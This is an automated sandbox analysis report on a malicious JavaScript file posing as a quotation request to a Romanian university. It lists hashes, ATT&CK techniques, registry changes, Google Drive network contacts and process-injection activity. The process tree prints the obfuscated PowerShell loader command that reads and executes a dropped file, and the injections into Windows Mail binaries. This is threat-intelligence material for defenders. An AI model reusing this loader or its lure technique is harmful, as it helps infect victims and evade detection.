66a49153b7990f817af28475a81d3b8493712b918b39e34bbc98db2757e6e3a6

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 12:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RFQ Universitatea de Vest din Timișoara 29-07-26.js
Size 35KB
Sample260729-pflb3avzes
SHA256 66a49153b7990f817af28475a81d3b8493712b918b39e34bbc98db2757e6e3a6
MD5 4777022fddc0fa84e1caf1c3f1d4f343
SHA1 d8a518d6a131386d83312cfd718bfc6cfb4f93b1
SHA512 fc00dd17bb3a34b47cbc4fef57144ce5c28df6655bc383da5accd8f144b466f786aab6bf3baa5a4bb63f886d3c4cc1baaf569ad138399aa44d82de3b33d8544a
SSDEEP 768:sG4Gt2nojyiG2vY1cW6hY08vChc4FTOHhmOJl4qABSFkzMd2upEL:sG4G0nou9hv6DYfQTOB6SFkMEL
TLSH
T1EEF2B618C91914F20EE767C81CA70D70C4EDE998A96A7460969FC32FF405FD8E63E2B5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

adware discovery execution spyware

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	3440	powershell.exe
9	3440	powershell.exe
10	3440	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
11	drive.google.com
17	drive.google.com
1	drive.google.com
9	drive.google.com

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	explorer.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2612	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2356	powershell.exe
2612	wabmig.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 26 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\NotificationData	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 19002f433a5c000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\NodeSlot = "2"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4628	explorer.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
3440	powershell.exe
3440	powershell.exe
3440	powershell.exe
3440	powershell.exe
3440	powershell.exe
3440	powershell.exe
3440	powershell.exe
3440	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2612	wabmig.exe
2612	wabmig.exe
2612	wabmig.exe
2612	wabmig.exe
2612	wabmig.exe
2612	wabmig.exe
2612	wabmig.exe

Suspicious behavior: MapViewOfSection 11 IoCs

pid	Process
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3440	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4628	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4628	explorer.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2600 wrote to memory of 5552	2600	wscript.exe	89
PID 4628 wrote to memory of 3440	4628	explorer.exe	91
PID 2356 wrote to memory of 2348	2356	powershell.exe	97
PID 2356 wrote to memory of 2288	2356	powershell.exe	98
PID 2356 wrote to memory of 2472	2356	powershell.exe	99
PID 2356 wrote to memory of 5532	2356	powershell.exe	100
PID 2356 wrote to memory of 612	2356	powershell.exe	101
PID 2356 wrote to memory of 3136	2356	powershell.exe	102
PID 2356 wrote to memory of 1424	2356	powershell.exe	103
PID 2356 wrote to memory of 3676	2356	powershell.exe	104
PID 2356 wrote to memory of 6060	2356	powershell.exe	105
PID 2356 wrote to memory of 5580	2356	powershell.exe	106
PID 2356 wrote to memory of 856	2356	powershell.exe	107
PID 2356 wrote to memory of 2612	2356	powershell.exe	108
PID 2356 wrote to memory of 2612	2356	powershell.exe	108
PID 2612 wrote to memory of 5220	2612	wabmig.exe	109

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\RFQ Universitatea de Vest din Timișoara 29-07-26.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:2600
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe" C:\
  2⤵
  PID:5552

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Subrepent156='/app'+'data';$Bysteh=gc ($home+$Subrepent156+'/local/Akkordeone');$Benimelect=$Bysteh[3263]+$Bysteh[3264]+$Bysteh[3265]; . ($Benimelect) $Bysteh"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3440

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Subrepent156='/app'+'data';$Bysteh=gc ($home+$Subrepent156+'/local/Akkordeone');$Benimelect=$Bysteh[3263]+$Bysteh[3264]+$Bysteh[3265]; . ($Benimelect) $Bysteh"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:2348
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:2288
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:2472
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:5532
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:612
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:3136
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:1424
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:3676
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:6060
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:5580
- C:\Program Files (x86)\Windows Mail\wab.exe
  "C:\Program Files (x86)\Windows Mail\wab.exe"
  2⤵
  PID:856
- C:\Program Files (x86)\Windows Mail\wabmig.exe
  "C:\Program Files (x86)\Windows Mail\wabmig.exe"
  2⤵
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Program Files (x86)\Windows Mail\wab.exe
    "C:\Program Files (x86)\Windows Mail\wab.exe"
    3⤵
    PID:5220

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0e5b9103b5593944adfb371176355c32b6941afa47825bcff6feec187ae14d79
MD5 900eb98abbfe1532b8df42a81ca4c024
SHA1 075010ee1dd88d3c233efd87f7601d4be08b5e8a
SHA512 f5bf721059e5475605bb5bb3cc4f43e99f78e5fe495b0d8d03122638bc53161e787d707074b5a5ea3c7ef04a62effc7a22d51c6bc4d6e6018be25a548908d1c5
TLSH
T17C215737B3CC8725CC8A413A10CEAC1036B687DB409EDF6BBB84D545B42F699DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

Kwmikali.Afr

Path C:\Users\Admin\AppData\Roaming\Kwmikali.Afr
Size 202KB
SHA256 7fd1c950d08813070b529bc789544d53e58fec60a3db28f87a0fb03e40c9bba1
MD5 32fb172104a5407b457ec180894066cb
SHA1 98dd258cf70ad8e8c1328466b70732eaf963a8c0
SHA512 ad143b62ac797bc20f3e6adb93161da287de54d79ef8e713c34dfd81effc31ecfbfec6419fd38ea964ccfa48f25b4d0eb014aa0d84dbca06d8f982305ec34a96
SSDEEP 6144:eXwRcttazelcM6dISRRRRRRRRRRRRRRRRRRRWsgWN3z3tLlFB:tRcra2cMQRRRRRRRRRRRRRRRRRRRWI3P
TLSH
T125140125C25C7E5B970227F43D37CB5DA3C9F05A54C325C26EE2EB046E0B58287F2AA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Akkordeone

Path C:\Users\Admin\appdata\local\Akkordeone
Size 3KB
SHA256 8a74ece42eba40dcca8962913e3413205876b2ae38eca9bd1816d18ec13909d1
MD5 c974b6c6aa03510b6a636577566f22ce
SHA1 67be066cd31c6bb63acfb80423de07f5912968ba
SHA512 2b53f73c597a6cd50ba38914ec9987f377452f2871702907a94b645057fe05a69122d2389546362b00dd0328fbdc052f3218c9199558440cbe2e9c0108c064cd
TLSH
T105619689CB6E6B70D7081950A09F7ECABCE33C0A2861694DF9304A465CB047C1263CFC
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2356-19-0x0000000005CC0000-0x0000000005D0C000-memory.dmp

Download

memory/2356-23-0x0000000006C80000-0x0000000006CA2000-memory.dmp

Download

memory/2356-13-0x00000000056D0000-0x0000000005736000-memory.dmp

Download

memory/2356-16-0x0000000005790000-0x0000000005AEB000-memory.dmp

Download

memory/2356-11-0x0000000004EC0000-0x0000000004EE2000-memory.dmp

Download

memory/2356-18-0x0000000005C70000-0x0000000005C8E000-memory.dmp

Download

memory/2356-27-0x00000000087D0000-0x000000000B354000-memory.dmp

Download

memory/2356-10-0x0000000004F30000-0x000000000557A000-memory.dmp

Download

memory/2356-21-0x0000000006230000-0x00000000062C6000-memory.dmp

Download

memory/2356-12-0x00000000055F0000-0x0000000005656000-memory.dmp

Download

memory/2356-22-0x00000000061B0000-0x00000000061CA000-memory.dmp

Download

memory/2356-24-0x0000000007510000-0x0000000007ACA000-memory.dmp

Download

memory/2356-25-0x0000000008150000-0x00000000087CC000-memory.dmp

Download

memory/2356-9-0x0000000002440000-0x0000000002476000-memory.dmp

Download

memory/2612-28-0x0000000000400000-0x00000000005F1000-memory.dmp

Download

memory/2612-46-0x0000000000400000-0x00000000005F1000-memory.dmp

Download

memory/3440-3-0x0000018F314E0000-0x0000018F31502000-memory.dmp

Download